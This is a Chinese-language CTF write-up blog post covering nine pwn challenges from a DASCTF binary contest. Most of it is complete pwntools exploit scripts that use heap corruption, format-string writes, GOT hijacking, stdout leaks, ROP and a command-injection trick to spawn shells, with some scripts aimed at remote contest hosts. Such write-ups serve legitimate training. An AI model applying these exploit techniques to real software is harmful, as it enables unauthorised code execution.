终究还是re✌更上流一些。
卸载所有的前面
555,又是一个月无所事事,还当了一回fw。爬回来学习一下专项赛的题目。笔者不是个铸币,比赛的时候一点也不会。
easy-note
glibc-2.23的题目,UAF很明显,直接打 _free_hook 就行。当然打__malloc_hook,realloc调整栈帧也可。蒻纸笔者在比赛的时候还打一个unlink,无语了。怎么会蠢到用更麻烦的方法2333
from pwncy import *
context(log_level = "debug",arch = "amd64")
p,elf,libc = load('pwn',remote_libc = "./libc-2.23.so",ip_port = "node4.buuoj.cn:27142")
def cmd(choice):
sla("5. exit\n",str(choice))
def add(size,content):
cmd(1)
sla("The length of your content --->\n",str(size))
sa("Content --->\n",content)
def change(index,size,content):
cmd(2)
sla("Index --->\n",str(index))
sla("The length of your content --->\n",str(size))
sa("Content --->\n",content)
def delete(index):
cmd(3)
sla("Index --->\n",str(index))
def show(index):
cmd(4)
sla("Index --->\n",str(index))
debug(p,'no-tmux',0x0000000000400AB6)
chunk_ptr = 0x6020C0 + 0x8
pad = b"deadbeef"
add(0x90,pad)
add(0x90,pad)
add(0x90,pad)
add(0x10,pad)
# pause()
delete(0)
show(0)
libc_base = recv_libc() - 0x58 - libc.sym["__malloc_hook"] - 0x10
log_addr("libc_base")
__free_hook = libc_base + libc.sym['__free_hook']
# pause()
payload = flat({
0x8: 0x91,
0x10: chunk_ptr - 0x18,
0x18: chunk_ptr - 0x10,
0x90: 0x90,
0x98: p8(0xa0)
},filler = b"\x00",length = 0x99)
change(1,0xa0,payload)
delete(2)
pause()
payload2 = flat({
0x10: chunk_ptr,
0x18: __free_hook,
},filler = b"\x00",length = 0x20)
change(1,0x20,payload2)
pause()
ogg = libc_base + search_og(1)
change(1,0x8,p64(ogg))
pause()
delete(3)
itr()
foooooood
非栈上格式化字符串漏洞,找跳板rbp打。这题需要分两次修改。
from pwncy import *
context(log_level = "debug",arch = "amd64")
p,elf,libc = load('pwn',remote_libc = "./libc.so.6",ip_port = "node4.buuoj.cn:28407")
debug(p,'no-tmux',"pie",0xb27)
name_offset = 0x00000000002020C0
sa("Give me your name:",b"a"*0x20)
def attack(size,offset):
payload = bytes("%{}c%{}$hn".format(size,offset),encoding = "utf-8").ljust(0x20,b"\x00")
sa("what's your favourite food: ",payload)
def attack_hhn(size,offset):
payload = bytes("%{}c%{}$hhn".format(size,offset),encoding = "utf-8").ljust(0x20,b"\x00")
sa("what's your favourite food: ",payload)
# attack(b"%p.%p.%p.%p.".ljust(0x20,b"\x00"))
sa("what's your favourite food: ",b"%8$p.%9$p.%11$p.%p.".ljust(0x20,b"\x00"))
ru("You like ",drop = True)
elf_base = int(ru(".",drop=True),16) - elf.sym["__libc_csu_init"]
log_addr("elf_base")
libc_base = int(ru(".",drop=True),16) - libc.sym["__libc_start_main"] - 240
log_addr("libc_base")
rbp1 = int(ru(".",drop=True),16)
first_target = rbp1 - 0xe0 - 0x18 + 0x4
log_addr("first_target")
name = elf_base + name_offset
log_addr("name")
system = libc_base + libc.sym["system"]
log_addr("system")
ogg = libc_base + search_og(3)
log_addr("ogg")
# pause()
attack(first_target & 0xffff,11)
payload3 = bytes("%{}c%11$hn".format(size),encoding = "utf-8").ljust(0x20,b"\x00")
# pause()
attack(0xa,37)
my_pause("change number")
taget = rbp1 - 0xe0
attack_hhn((taget & 0xff), 11)
attack_hhn((ogg) & 0xff,37 )
pause()
attack_hhn((taget & 0xff) + 0x1, 11)
attack_hhn((ogg >> 8) & 0xff,37)
pause()
attack_hhn((taget & 0xff) + 0x2, 11)
attack_hhn((ogg >> 16) & 0xff,37 )
my_pause("fix number")
attack_hhn((taget + 0x1c) & 0xff, 11)
attack_hhn(0,37)
itr()
server
赛后看这个题目感觉没有那么难惹。第一个点很好过,存在目录穿越,让access函数访问到/bin/sh文件就可以绕过。
sub_14DA函数中过滤了绝大部分的常用的命令执行字符,但是这里有个未初始化的漏洞且上面的name读入的栈空间和下面s空间重叠。这题就可以直接输入"'\n'"字符分割命令获得shell。
from pwncy import *
context(log_level = "debug",arch = "amd64")
p,elf,libc = load('pwn',ip_port = "node4.buuoj.cn:27099")
def cmd(choice):
sla("Your choice >> ",str(choice))
debug(p,'no-tmux',"pie",0x16e3,0x1748,0x1495,0x1484)
cmd(1)
#mkdir /keys
# key = (b"../../../" + b"./"* 10).ljust(28,b"*")
# key = b"../../../../../././bin/sh"
key = b'../../../../../..//bin/sh'
sla("Please input the key of admin : \n",key)
# command = b"''cat\tfl*\n"
# cmd(2)
# sa("Please input the username to add : \n",command)
# pause()
command2 = b"'\n"
cmd(2)
sa("Please input the username to add : \n",command2)
itr()
candy_shop
存在数组下标负数越界,可以劫持got。注意一点,劫持got表的memset函数时,因为下标距离问题,需要分两次打入system函数地址。
from pwncy import *
context(log_level = "debug",arch = "amd64")
s = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
r = lambda num=4096 :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
global p
# p = process("./pwn")
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
p = remote("139.155.132.59",9999)
def cmd(choice):
sla("option: ",choice)
def gift(name):
cmd(b"g")
sa("Give me your name: \n",name)
def canary(index = -10,name = b"1" * 0x13):
cmd("b")
sla("Which one you want to bye: ",b"t")
sla("Which pocket would you like to put the candy in?\n: ",str(index))
sa("Give your candy a name!\n: ",name)
debug(p,'no-tmux',"pie",0x16a6,0x16b5,0x155e,0x15b4)
libc_offset = 0x29d90
leak = b"%11$p".ljust(8,b"\x00")
gift(leak)
ru("you have received a gift:")
libc_base =int(r(14),base = 16) - libc_offset
log_addr("libc_base")
system = libc_base + libc.sym["system"]
# system = libc_base + 0xebcf8
# system = libc_base + 0xebcf1
# system = libc_base + 0xebcf5
# pause()
cmd("b")
sla("Which one you want to bye: ",b"t")
index = -2
sla("Which pocket would you like to put the candy in?\n: ",str(index))
name = b"1" * 0x13
sa("Give your candy a name!\n: ",name)
canary(index = 0,name = b"/bin/sh\x00".ljust(0x13,b"\x00"))
# pause()
printf = libc_base + libc.sym["printf"]
payload = (b"a" * 6 + p64(printf) + p32(system & 0xffffffff) + p8((system >> 32) & 0xff)).ljust(19,b"\x00")
canary(name = payload)
log_addr("system")
# pause()
payload2 = p8((system >> 40) & 0xff).ljust(0x3,b"\x00") + b"\n"
canary(index = -9,name = payload2)
pause()
cmd("e")
itr()
can_you_find_me
只有add和delete两个操作。pushinfo函数结尾有个offbynull,同时申请的chunk size没有狠严格的限制,可以用chunk 重叠劫持tcache的next指针,有点house of botcake的味道,爆破半字节获得stdout结构体,打io leak获得libc基址。最后打__free_hook。
本地打的时候可以先关闭aslr方便调试。
from pwn import *
context(log_level = "debug",arch = "amd64")
# p,elf,libc = load("pwn",ip_port = "node4.buuoj.cn:28732",remote_libc = "/home/tw0/Desktop/tool/buu_libc/x64/libc-2.27.so")
global p
p = process("./pwn")
s = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
r = lambda num=4096 :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
elf = ELF("./pwn")
libc = ELF("/home/tw0/Desktop/tool/buu_libc/x64/libc-2.27.so")
def cmd(choice):
sla("choice:",str(choice))
def add(size,content):
cmd(1)
sla("Size",str(size))
sla("Data:",content)
def delete(index):
cmd(2)
sla("Index:",str(index))
dbginfo = """
b *$rebase(0x98a)
b *$rebase(0xa98)
"""
# gdb.attach(p,dbginfo)
def exp():
_IO_2_1_stdout_offset = libc.sym["_IO_2_1_stdout_"]
log.success("_IO_2_1_stdout_offset--->"+hex(_IO_2_1_stdout_offset))
add(0x500,b'a'*0x500)#0
add(0x60,b'a'*0x60)#1
add(0x10,b'a'*0x10)#2
add(0x70,b'a'*0x70)#3
add(0x5f0,b'a'*0x5f0)#4
add(0x20,b'a'*0x20)
gdb.attach(p,dbginfo)
#利用off by one打unlink,构造堆重叠,进而进行tcache posioning
delete(0)
delete(3)
# pause()
add(0x78,b'a'*0x70+b'\x20\x06'.ljust(8,b'\x00'))#0
# pause()
#unlink
delete(4)
#
delete(1)
delete(0)
# pause()
add(0x500,b'/bin/sh\x00'+b'a'*(0x500-8))
# pause()
add(0x80,p16(0))
add(0x80,p16(_IO_2_1_stdout_offset & 0xffff))
add(0x60,b"a")
add(0x68,p64(0xfbad1800)+p64(0)*3+p8(0xc8)) #0xc8-->_chain_offset,next iostruct is stdin
# pause()
libc.address = u64(ru("\x7f",drop = False)[-6:].ljust(8,b"\x00")) - libc.sym._IO_2_1_stdin_
log.success(hex(libc.address))
free_hook = libc.address + libc.sym.__free_hook
add(0x80,p16(free_hook & 0xffff))
add(0x78,b'a')
leak("system",libc.sym.system)
add(0x78,p64(libc.sym.system))
pause()
delete(0)
itr()
if __name__ == '__main__':
# while True:
# sysctl -w kernel.randomize_va_space=0
for i in range(1):
try:
p = process("./pwn")
exp()
except:
# sleep(1)
p.close()
Adream
info thread #查看当前进程的线程数量、信息
thread <thread_number> #切换至指定线程
赛后复现,比赛的时候看着子线程没有了一点思路。铸币笔者。题目中子线程循环执行write函数,父线程有个沙箱只允许read and write,没有open,另外一个0x10大小的溢出。因为子线程不受到父线程沙箱的影响,同时可以覆写got表,所以我们通过栈迁移,覆写write@got为magic_read的gadget,见下图,实现循环读入。然后控制程序流,泄露libc之后打个rop链。注意父线程需要用sleep函数挂起,否则父线程crash后会一起停掉子线程。
这个题目也学习到了一点新姿势,子线程和父线程是公用got表的。另外子线程开辟的栈空间实际上就是父线程mmap出来的一段地址,和libc的地址是有固定偏移的,这点可以从调试中得到偏移。
最后解释一下为什么修改完got表后,子线程的读入pad只有0x30字节,听我猜测的胡说一下,子线程调试的时候看到在libc调用read函数时,不会像正常一样在__ GI___libc_read+26的地方直接跳回去,而是通过call _ GI_pthread_enable_asynccancel函数调用read,这样一来,在read的开始会sub rsp 0x28,返回结尾就会有个add rsp 0x28的操作,再进行ret。所以pad只有0x30字节大小,并且每次调用magic_read时,都要注意结尾ret的位置。
from pwncy import *
context(log_level = "debug",arch = "amd64")
filename = "Adream"
remote_libc = "/home/tw0/Desktop/tool/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc.so.6"
p,elf,libc = load(filename,remote_libc = remote_libc)
debug(p,'no-tmux',0x4013AE)
bss = elf.bss() + 0x100
magic_read = 0x4013AE
rdi = 0x401483
rsi_r15 = 0x401481
leave_ret = 0x40136c
ret = 0x40101a
payload = flat({
0x40: [bss + 0x40, magic_read],
},filler = b"\xff")
s(payload)
sleep(0.1)
payload2 = flat({
0x0: [rsi_r15,elf.got.write,0,elf.plt.read,rdi,0x1000,elf.plt.sleep],
0x40:[bss - 8,leave_ret],
})
s(payload2)
sleep(0.1)
pause()
#change parent thread wirte@got to magic_read_gadget
s(p64(magic_read))
sleep(0.1)
payload3 = flat({
0x30: [rdi, elf.got.puts, elf.plt.puts, magic_read],
})
s(payload3)
sleep(0.1)
libc.address = recv_libc() - libc.sym.puts
system = libc.sym.system
binsh = next(libc.search(b"/bin/sh"))
log_addr("binsh")
rdi_rbp = next(libc.search(asm("pop rdi;pop rbp;ret")))
thread_stack_rop_addr = libc.address - 0x4150
# thread_stack_rop_addr = libc_base - 0x11f0
pause()
payload4 = flat({
0x0: [ret,rdi_rbp,binsh,0,system],
0x40: thread_stack_rop_addr - 8,
0x48:leave_ret
})
s(payload4)
itr()
Approoooooooaching
之前看过一个brainfuck类型的虚拟机,但是没有仔细逆过。这次就碰上了。楽,怕什么来什么,测测测!。
第一步是jmp rax跳表的修复。这个讲道理,怎么还有人不会的。玛德,问就是铸币笔者。
修复跳转表
gcc在编译的时候,会将大于5个的switch转换为跳表的形式,因此反编译的时候会无法自动识别,需要手动调一下。很明显看出来,①这个地方是获取switch的选项的,②就是将下标和跳转表相加后用rax寄存器跳转。
那么修复跳转表需要先选择0x178c这一句,然后edit->other->specify switch idiom
然后解释一下修复跳表的每个具体含义:
- Address of Jump table:设置成 jump table 的地址
- Number of elements:设置为 jump table 中存在的元素总数
- Size of table element:设置为 jump table 中元素的类型,一般也就是4字节
- Element shift amount:这个一般情况下都是零,和跳表计算时的方式有关,比如此题只是单纯的跳表地址加跳表中的元素,那么就不需要移位
- Element base value:设置为计算跳转地址时给跳表元素加的值,比如此题的计算方法为
&jump_table + jump_table[i]
,那么这里就应该填跳表的地址 - Start of the switch idiom:这个默认就行,就是获取跳表值的语句的地址
- Input register of switch:设置为用于给跳表寻址的寄存器
- First(lowest) input value:就是 switch 的最小值了
- Default jump address:也就是 default 的跳转位置,其实有时候可以不填,但是最好还是填上,这个一般在上方不远处的 cmp 指令附近,特征就是判断了输入,然后跳转到某个地址上,跳转的这个地址就是要填的值了(上图中填的值是错误的,但是即使填错了似乎也没有影响最后的分析,所以可以放轻松啦~)
最后一点,修复跳表的时候,要观察跳转表的数值,如果是0xff之类开头的,可能是带符号的数,就需要勾选signed jump table element选项了。
动调修改花指令
sub_191d这里进入sub_1269函数,ida无法反编译sub_1269函数。
直接汇编看看1260的位置转成code后有endbr64,ida无法识别。
那动调断点打在call的位置,步进观察。看到0x1269的位置有endbr64指令,但是ida里面没有识别出来,因此手动从0x1269的位置开始转code。
后面就可以正常识别了。
捏捏捏!!!麻麻叠!!,要是修ida麻烦,直接高版本ida一把识别,测
思路
很简单,上面的全部修复以后,可以看出每个符号对应的操作。程序实现了一个brainfuck的虚拟机,将堆上的字符转换为相应的vm操作。下面是对应表格
! | 1 | ++ptr |
---|---|---|
i | 2 | --ptr |
$ | 3 | ++*ptr |
# | 4 | --*ptr |
x | 5 | putchar |
y | 6 | getchar |
* | 7 | jnz |
@ | 8 | jz |
另外sub_151d函数中存储的局部变量,a1是传入的参数,也就是对应的基址指针,动调观察的更加清楚。
所以只需要将ptr-8后写入backdoor函数的低一字节即可。
exp
这里为什么要填三个y进行getchar呢?第一个,在chunk中读入字符时,会将最后一个字符置0,因此我们需要多一个字符,所以最后一个字符填啥都行,不一定非得是y。第二因为笔者本地环境不知道啥原因,getchar函数总是能自动读取到一个换行符,捏麻麻滴,所以不得不多加一个y来修改ret地址。
from pwncy import *
context(log_level = "debug",arch = "amd64")
p,elf,libc = load('bf',ip_port = "node4.buuoj.cn:25232")
def cmd(choice):
sla("Give me your choice: \n",str(choice))
def add(size):
cmd(1)
sla("size: ",str(size))
def bf_write(text):
cmd(2)
sa("text: ",text)
debug(p,'no-tmux',"pie",0x15AD,0x15C2,0x15B0,0x1620,0x18FC)
add(0x20)
bf_write(b"iiiiyyy")
# pause()
cmd(3)
# cmd(4)
cmd(4)
backdoor = 0x19D8
s(b"\xe0")
itr()
matchmaking platform
漏洞点就是在接受内容的地方,char类型是-128(0x80)到127(0x7f),也就是带符号的。读入内容一共可以读入0x81字节,当写入0x80字节后,接下来一个输入的字节会因为char类型的溢出写到[-0x80]的地方,因此刚好覆盖到0x40c0处指针的最低字节。这样子就可以劫持stdio指针进行leak、修改0x4068处的switch计数,最后打free_hook。
from pwncy import *
context(log_level = "debug",arch = "amd64")
filename = "./pwn"
remote_libc = "/home/tw0/Desktop/tool/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc.so.6"
p,elf,libc = load(filename,remote_libc = remote_libc)
debug(p,'no-tmux','pie',0x1375)
menu = b'>> '
sa(menu,b'a'*0x80 + b"\x80")
# pause()
sla(menu,p64(0xfbad1800) + p64(0) * 3+p8(0))
# libc.address = recv_libc() - 0x1eb980
libc.address = recv_libc() - (libc.sym._IO_2_1_stdin_)
# log_info(hex(libc.address))
log("libc.address",hex(libc.address))
system = libc.sym.system
__free_hook = libc.sym.__free_hook
log_addr("__free_hook")
sa(menu,b"/bin/sh\x00" + b"a" * 0x78 + b"\x60")
# pause()
stdout = libc.sym._IO_2_1_stdout_
stdin = libc.sym._IO_2_1_stdin_
stderr = libc.sym._IO_2_1_stderr_
payload = (p64(0) + p64(5)).ljust(0x20,b"\x00")
payload += flat([stdout,0,stdin,0,stderr,0,__free_hook])
sla(menu,payload)
sa(menu,b"a" * 0x80 + b"\xb0")
sla(menu,p64(system))
sa(menu,b"a" * 0x80 + b"\xc8")
sla(menu,b"/bin/bash\x00")
itr()
中间布置"\x60"字节的指针是因为这里有个指向自己的指针,可以作为跳板帮助我们修改switch计数和写入free_hook地址。
官方的预期解是打ret2dl的,下面是官方预期解exp
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')
def pwn() :
io.sendafter("Age >> ", b'\x00'*0x80 + b'\x80')
io.sendlineafter("Photo(URL) >> ", p64(0xfbad1887) + p64(0)*3 + b'\xb0\x5d')
pie_base = u64(io.recv(6, timeout = 0.5).ljust(8, b'\x00')) - 0x40a0
if (pie_base & 0xfff) != 0 :
exit(-1)
success("pie_base:\t" + hex(pie_base))
payload = b'/bin/sh\x00' + p64(pie_base + 0x4140 - 0x67) + b'system\x00'
io.sendafter("Name >> ", payload.ljust(0x80, b'\x00') + b'\x08')
payload = p64(pie_base + 0x8).ljust(0x68, b'\x00') + p64(pie_base + 0x4140)
io.sendlineafter("Hobby >> ", payload)
io.interactive()
if __name__ == '__main__':
while True:
global io
try :
io = process("./pwn")
pwn()
break
except :
io.close()
Noka
看着k号师傅的wp确实,感觉官方的wp就是坨*,(雾。不过这个题目确实,因为可以劫持got表,修改malloc@got为0x401254的read函数,可以做到4G以内任意地址读。所以不能直接写libc里面的6字节地址。但是可以修改strtol@got,直接执行命令,不用泄露environ再修改后门read函数读入次数、打ret的rop链那么麻烦的操作。
from pwncy import *
context(log_level = "debug",arch = "amd64")
filename = "noka"
remote_libc = "./libc.so.6"
p,elf,libc = load(filename,remote_libc = remote_libc,ip_port = "118.24.118.158:9999")
def cmd(choice):
sla(">",str(choice))
def add(target,content,size = 0x10):
cmd(1)
# sa("size: ",str(0x10).rjust(0xa,"0"))
sa("size: ",str(size))
pause()
sl(str(target))
sleep(0.1)
sa("text: ",content)
def show():
cmd(2)
def change(address,value):
cmd(3)
sla("Break Point: ",str(address))
sla("Break Value: ",str(value))
debug(p,'no-tmux',0x4012E5,0x401339,0x401305)
chunk_ptr = 0x4040B0
read_func = 0x401254
change(elf.got.malloc,read_func)
pause()
add(chunk_ptr,p64(elf.got.strtol))
show()
libc.address = recv_libc() - libc.sym.strtol
system = libc.sym.system
pause()
add(elf.got.strtol,p64(system))
sl(b"/bin/sh\x00")
itr()
总结一些(结个寂寞
fw总是六边形的fw,努力才不会成为fw,努力不了一点。但是要准备考试了nnd,考不过试真的college就真寄了,赶紧润听课。
参考文章
官方Write Up|DASCTF六月赛 · 二进制专项 | CTF导航 (ctfiot.com)
DAS二进制专项 – korey0sh1's trash can
IDA switch 在跳表结构下的修复 - cj的小站 (cjovi.icu)
DASCTF 2023六月挑战赛|二进制专项] 5个pwn_石氏是时试的博客-CSDN博客
标签:专项,pause,二进制,cmd,libc,add,base,DAS,sla From: https://www.cnblogs.com/Tw0YY/p/17517090.html